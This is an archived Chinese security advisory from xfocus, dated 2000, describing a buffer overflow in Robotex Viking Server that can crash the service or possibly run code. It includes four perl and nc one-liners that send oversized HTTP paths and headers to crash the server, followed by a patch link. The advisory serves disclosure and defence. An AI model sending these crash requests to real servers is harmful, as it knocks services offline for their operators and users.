xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Robotex Viking服务程序存在缓冲溢出


发布时间:2000-05-15
更新时间:2000-05-15
严重程度:
威胁程度:远程拒绝服务
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Robotex Viking Server 1.0.6 Build 355 之前的版本
- Microsoft Windows 95
- Microsoft Windows NT 4.0

其中 Robotex Viking Server 1.0.6 Build 370之后的版本不存在此漏洞
- Microsoft Windows 95
- Microsoft Windows NT 4.0
详细描述
Robotex Viking 服务程序存在对边界检查不正确的漏洞,可以使恶意用户破坏
应用程序或者执行任意代码。

测试代码
如下可以破坏服务程序:
1)
GET [x11765] HTTP/1.1<enter><enter>
(Cmd: perl -e "print \"GET @{["x"x11765]} HTTP/1.1\n\n\""|nc 127.1 80)

2)
GET / HTTP/1.1<enter>
Unless-Modified-Since: [x14765]<enter><enter>
(Cmd: perl -e "print \"GET / HTTP/1.1\nUnless-Modified-Since: @{["x"x14765]}\n\n\""|nc 127.1 80)

3)
GET / HTTP/1.1<enter>
If-Range: [x14765]<enter><enter>
(Cmd: perl -e "print \"GET / HTTP/1.1\nIf-Range: @{["x"x14765]}\n\n\""|nc 127.1 80)

4)
GET / HTTP/1.1<enter>
If-Modified-Since: [x14765]<enter><enter>
(Cmd: perl -e "print \"GET / HTTP/1.1\nIf-Modified-Since: @{["x"x14765]}\n\n\""|nc 127.1 80)

解决方案
下载补丁:
Robotex patch viking
http://www.robtex.com/files/viking/beta/viking.zip

相关信息